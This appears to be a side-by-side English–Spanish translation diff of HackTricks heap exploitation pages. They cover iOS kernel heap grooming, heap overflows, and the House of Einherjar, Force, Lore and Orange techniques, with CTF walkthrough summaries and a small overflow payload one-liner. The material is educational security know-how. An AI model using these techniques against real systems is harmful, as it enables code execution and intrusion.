However, in the case of a heap overflow, the used memory isnt linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. Its **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, its needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. Sin embargo, en el caso de un desbordamiento de heap, la memoria utilizada no es lineal, sino que **los bloques asignados suelen estar en posiciones separadas de la memoria** (no uno al lado del otro) debido a **bins y zonas** que separan las asignaciones por tamaño y porque **la memoria previamente liberada se utiliza** antes de asignar nuevos bloques. Es **complicado saber el objeto que va a colisionar con el que es vulnerable** a un desbordamiento de heap. Por lo tanto, cuando se encuentra un desbordamiento de heap, es necesario encontrar una **manera confiable de hacer que el objeto deseado esté al lado en memoria** del que puede ser desbordado.
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post its explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). Una de las técnicas utilizadas para esto es **Heap Grooming**, que se utiliza por ejemplo [**en esta publicación**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). En la publicación se explica cómo, cuando en el kernel de iOS una zona se queda sin memoria para almacenar bloques de memoria, se expande por una página del kernel, y esta página se divide en bloques de los tamaños esperados que se utilizarían en orden (hasta la versión 9.2 de iOS, luego estos bloques se utilizan de manera aleatoria para dificultar la explotación de estos ataques).
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**. Por lo tanto, en la publicación anterior donde ocurre un desbordamiento de heap, para forzar que el objeto desbordado colisione con un objeto víctima, se **forzan varios `kallocs` por varios hilos para intentar asegurar que todos los bloques libres estén llenos y que se cree una nueva página**.
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, its possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`. Para forzar este llenado con objetos de un tamaño específico, la **asignación fuera de línea asociada con un puerto mach de iOS** es un candidato ideal. Al elaborar el tamaño del mensaje, es posible especificar exactamente el tamaño de la asignación `kalloc` y cuando el puerto mach correspondiente se destruye, la asignación correspondiente se liberará inmediatamente de nuevo a `kfree`.
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, its probable that this object will be followed by a victim object. Luego, algunos de estos marcadores de posición pueden ser **liberados**. La **lista libre `kalloc.4096` libera elementos en un orden de último en entrar, primero en salir**, lo que básicamente significa que si algunos marcadores de posición son liberados y el exploit intenta asignar varios objetos víctima mientras intenta asignar el objeto vulnerable al desbordamiento, es probable que este objeto sea seguido por un objeto víctima.
### Example libc ### Ejemplo libc
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also. [**En esta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) es posible encontrar una emulación básica de desbordamiento de heap que muestra cómo sobrescribiendo el bit de anterior en uso del siguiente bloque y la posición del tamaño anterior es posible **consolidar un bloque usado** (haciéndolo pensar que es no utilizado) y **luego asignarlo nuevamente** pudiendo sobrescribir datos que se están utilizando en un puntero diferente también.
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**. Otro ejemplo de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) muestra un ejemplo muy básico de un CTF donde un **desbordamiento de heap** puede ser abusado para llamar a la función ganadora para **obtener la bandera**.
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to. En el ejemplo de [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) es posible ver cómo abusando de un desbordamiento de búfer es posible **sobrescribir en un bloque cercano una dirección** donde **se van a escribir datos arbitrarios del usuario**.
### Example ARM64 ### Ejemplo ARM64
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
En la página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puedes encontrar un ejemplo de desbordamiento de heap donde un comando que se va a ejecutar se almacena en el siguiente bloque del bloque desbordado. Así que, es posible modificar el comando ejecutado sobrescribiéndolo con un exploit fácil como:
```bash ```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
``` ```
### Otros ejemplos
### Other examples
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- We use an Integer Overflow vulnerability to get a Heap Overflow. - Usamos una vulnerabilidad de desbordamiento de enteros para obtener un desbordamiento de heap.
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. - Corrompemos punteros a una función dentro de un `struct` del chunk desbordado para establecer una función como `system` y obtener ejecución de código.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,48 +2,48 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
### Code ### Código
- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - Consulta el ejemplo de [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache) - O el de [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (puede que necesites llenar el tcache)
### Goal ### Objetivo
- The goal is to allocate memory in almost any specific address. - El objetivo es asignar memoria en casi cualquier dirección específica.
### Requirements ### Requisitos
- Create a fake chunk when we want to allocate a chunk: - Crear un chunk falso cuando queramos asignar un chunk:
- Set pointers to point to itself to bypass sanity checks - Establecer punteros para que apunten a sí mismos para eludir las verificaciones de sanidad
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag. - Desbordamiento de un byte con un byte nulo de un chunk al siguiente para modificar la bandera `PREV_INUSE`.
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk - Indicar en el `prev_size` del chunk abusado por el off-by-null la diferencia entre sí mismo y el chunk falso
- The fake chunk size must also have been set the same size to bypass sanity checks - El tamaño del chunk falso también debe haberse establecido al mismo tamaño para eludir las verificaciones de sanidad
- For constructing these chunks, you will need a heap leak. - Para construir estos chunks, necesitarás un leak de heap.
### Attack ### Ataque
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections - Se crea un chunk `A` dentro de un chunk controlado por el atacante apuntando con `fd` y `bk` al chunk original para eludir las protecciones
- 2 other chunks (`B` and `C`) are allocated - Se asignan 2 chunks más (`B` y `C`)
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before - Abusando del off by one en el `B`, se limpia el bit `prev in use` y los datos de `prev_size` se sobrescriben con la diferencia entre el lugar donde se asigna el chunk `C`, al chunk falso `A` generado antes
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks. - Este `prev_size` y el tamaño en el chunk falso `A` deben ser los mismos para eludir las verificaciones.
- Then, the tcache is filled - Luego, se llena el tcache
- Then, `C` is freed so it consolidates with the fake chunk `A` - Luego, se libera `C` para que se consolide con el chunk falso `A`
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk - Luego, se crea un nuevo chunk `D` que comenzará en el chunk falso `A` y cubrirá el chunk `B`
- The house of Einherjar finishes here - La casa de Einherjar termina aquí
- This can be continued with a fast bin attack or Tcache poisoning: - Esto se puede continuar con un ataque de fast bin o envenenamiento de Tcache:
- Free `B` to add it to the fast bin / Tcache - Libera `B` para agregarlo al fast bin / Tcache
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20; - El `fd` de `B` se sobrescribe haciéndolo apuntar a la dirección objetivo abusando del chunk `D` (ya que contiene `B` dentro)&#x20;
- Then, 2 mallocs are done and the second one is going to be **allocating the target address** - Luego, se realizan 2 mallocs y el segundo va a ser **asignando la dirección objetivo**
## References and other examples ## Referencias y otros ejemplos
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad) - **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets. - Después de liberar punteros, no se nulifican, por lo que aún es posible acceder a sus datos. Por lo tanto, se coloca un chunk en el bin no ordenado y se filtran los punteros que contiene (libc leak) y luego se coloca un nuevo heap en el bin no ordenado y se filtra una dirección de heap del puntero que obtiene.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) - [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-byte overflow bug in `strtok`. - Error de desbordamiento de byte nulo en `strtok`.
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive. - Usa House of Einherjar para obtener una situación de chunks superpuestos y terminar con envenenamiento de Tcache para obtener un primitivo de escritura arbitraria.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,45 +2,43 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
### Code ### Código
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size` - Esta técnica fue parcheada ([**aquí**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) y produce este error: `malloc(): corrupted top size`
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want. - Puedes probar el [**código de aquí**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) para testearlo si lo deseas.
### Goal ### Objetivo
- The goal of this attack is to be able to allocate a chunk in a specific address. - El objetivo de este ataque es poder asignar un chunk en una dirección específica.
### Requirements ### Requisitos
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1). - Un desbordamiento que permita sobrescribir el tamaño del encabezado del chunk superior (por ejemplo, -1).
- Be able to control the size of the heap allocation - Poder controlar el tamaño de la asignación de heap.
### Attack ### Ataque
If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space. Si un atacante quiere asignar un chunk en la dirección P para sobrescribir un valor aquí. Comienza sobrescribiendo el tamaño del chunk superior con `-1` (quizás con un desbordamiento). Esto asegura que malloc no usará mmap para ninguna asignación ya que el chunk superior siempre tendrá suficiente espacio.
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
Luego, calcula la distancia entre la dirección del chunk superior y el espacio objetivo para asignar. Esto se debe a que se realizará un malloc con ese tamaño para mover el chunk superior a esa posición. Así es como se puede calcular fácilmente la diferencia/tamaño:
```c ```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/* /*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb * new_top = old_top + nb
* nb = new_top - old_top * nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top * req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long) * req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long) * req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long) * req = target - old_top - 4*sizeof(long)
*/ */
``` ```
Por lo tanto, asignar un tamaño de `target - old_top - 4*sizeof(long)` (los 4 longs son por los metadatos del chunk superior y del nuevo chunk cuando se asigna) moverá el chunk superior a la dirección que queremos sobrescribir.\
Luego, haz otro malloc para obtener un chunk en la dirección objetivo.
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\ ### Referencias y Otros Ejemplos
Then, do another malloc to get a chunk at the target address.
### References & Other Examples
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file) - [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) - [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function - El objetivo de este escenario es un ret2win donde necesitamos modificar la dirección de una función que va a ser llamada por la dirección de la función ret2win.
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff) - El binario tiene un desbordamiento que puede ser abusado para modificar el tamaño del chunk superior, que se modifica a -1 o p64(0xffffffffffffffff).
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc` - Luego, se calcula la dirección al lugar donde existe el puntero a sobrescribir, y la diferencia desde la posición actual del chunk superior hasta allí se asigna con `malloc`.
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function - Finalmente, se asigna un nuevo chunk que contendrá este objetivo deseado dentro del cual se sobrescribe con la función ret2win.
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) - [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap - En el `Input your name:` hay una vulnerabilidad inicial que permite filtrar una dirección de la heap.
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**. - Luego, en la funcionalidad `Org:` y `Host:` es posible llenar los 64B del puntero `s` cuando se solicita el **nombre de la organización**, que en la pila es seguido por la dirección de v2, que luego es seguida por el **nombre del host** indicado. Como luego, strcpy va a copiar el contenido de s a un chunk de tamaño 64B, es posible **sobrescribir el tamaño del chunk superior** con los datos puestos dentro del **nombre del host**.
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh` - Ahora que la escritura arbitraria es posible, el GOT de `atoi` fue sobrescrito con la dirección de printf. Luego fue posible filtrar la dirección de `IO_2_1_stderr` _con_ `%24$p`. Y con este leak de libc fue posible sobrescribir nuevamente el GOT de `atoi` con la dirección de `system` y llamarlo pasando como parámetro `/bin/sh`.
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`. - Un método alternativo [propuesto en este otro informe](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud) es sobrescribir `free` con `puts`, y luego agregar la dirección de `atoi@got`, en el puntero que será liberado más tarde para que se filtre y con este leak sobrescribir nuevamente `atoi@got` con `system` y llamarlo con `/bin/sh`.
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) - [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function. - Hay un UAF que permite reutilizar un chunk que fue liberado sin limpiar el puntero. Debido a que hay algunos métodos de lectura, es posible filtrar una dirección de libc escribiendo un puntero a la función free en el GOT aquí y luego llamando a la función de lectura.
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content. - Luego, se utilizó House of force (abusando del UAF) para sobrescribir el tamaño del espacio restante con un -1, asignar un chunk lo suficientemente grande para llegar al free hook, y luego asignar otro chunk que contendrá el free hook. Luego, escribir en el hook la dirección de `system`, escribir en un chunk `"/bin/sh"` y finalmente liberar el chunk con ese contenido de cadena.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,44 +1,44 @@
# House of Lore | Small bin Attack # Casa de Lore | Ataque de pequeño bin
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
### Code ### Código
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - Verifica el de [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- This isn't working - Esto no está funcionando
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - O: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` - Esto no está funcionando incluso si intenta eludir algunas verificaciones obteniendo el error: `malloc(): unaligned tcache chunk detected`
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20; - Este ejemplo todavía está funcionando: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
### Goal ### Objetivo
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\ - Insertar un **chunk pequeño falso en el pequeño bin para que luego sea posible asignarlo**.\
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position. Nota que el chunk pequeño agregado es el falso que crea el atacante y no uno falso en una posición arbitraria.
### Requirements ### Requisitos
- Create 2 fake chunks and link them together and with the legit chunk in the small bin: - Crear 2 chunks falsos y enlazarlos entre sí y con el chunk legítimo en el pequeño bin:
- `fake0.bk` -> `fake1` - `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0` - `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - `fake0.fd` -> `legit` (necesitas modificar un puntero en el chunk pequeño liberado a través de alguna otra vulnerabilidad)
- `legit.bk` -> `fake0` - `legit.bk` -> `fake0`
Then you will be able to allocate `fake0`. Entonces podrás asignar `fake0`.
### Attack ### Ataque
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.** - Se asigna un chunk pequeño (`legit`), luego se asigna otro para evitar la consolidación con el chunk superior. Luego, `legit` se libera (moviendo a la lista de bin no ordenados) y se asigna un chunk más grande, **moviendo `legit` al pequeño bin.**
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks: - Un atacante genera un par de chunks pequeños falsos y realiza el enlace necesario para eludir las verificaciones de sanidad:
- `fake0.bk` -> `fake1` - `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0` - `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - `fake0.fd` -> `legit` (necesitas modificar un puntero en el chunk pequeño liberado a través de alguna otra vulnerabilidad)
- `legit.bk` -> `fake0` - `legit.bk` -> `fake0`
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins - Se asigna un chunk pequeño para obtener legit, haciendo **`fake0`** en la lista superior de pequeños bins
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it. - Se asigna otro chunk pequeño, obteniendo `fake0` como un chunk, permitiendo potencialmente leer/escribir punteros dentro de él.
## References ## Referencias
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore) - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)

View File

@ -2,72 +2,72 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
### Code ### Código
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) - Encuentra un ejemplo en [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26) - La técnica de explotación fue corregida en este [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) así que esto ya no funciona (funcionando en versiones anteriores a 2.26)
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) - Mismo ejemplo **con más comentarios** en [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
### Goal ### Objetivo
- Abuse `malloc_printerr` function - Abusar de la función `malloc_printerr`
### Requirements ### Requisitos
- Overwrite the top chunk size - Sobrescribir el tamaño del chunk superior
- Libc and heap leaks - Fugas de libc y heap
### Background ### Antecedentes
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** Algunos antecedentes necesarios de los comentarios de [**este ejemplo**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\ La cuestión es que, en versiones anteriores de libc, cuando se llamaba a la función `malloc_printerr`, **iteraba a través de una lista de estructuras `_IO_FILE` almacenadas en `_IO_list_all`**, y realmente **ejecutaba** un puntero de instrucción en esa estructura.\
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\ Este ataque forjará una **estructura `_IO_FILE` falsa** que escribiremos en **`_IO_list_all`**, y hará que `malloc_printerr` se ejecute.\
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution Luego **ejecutará cualquier dirección** que hayamos almacenado en la tabla de saltos de las estructuras **`_IO_FILE`**, y obtendremos ejecución de código.
### Attack ### Ataque
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set. El ataque comienza al lograr obtener el **chunk superior** dentro del **bin no ordenado**. Esto se logra llamando a `malloc` con un tamaño mayor que el tamaño actual del chunk superior pero menor que **`mmp_.mmap_threshold`** (el valor predeterminado es 128K), lo que de otro modo activaría la asignación `mmap`. Siempre que se modifique el tamaño del chunk superior, es importante asegurarse de que el **chunk superior + su tamaño** esté alineado a página y que el bit **prev_inuse** del chunk superior esté siempre establecido.
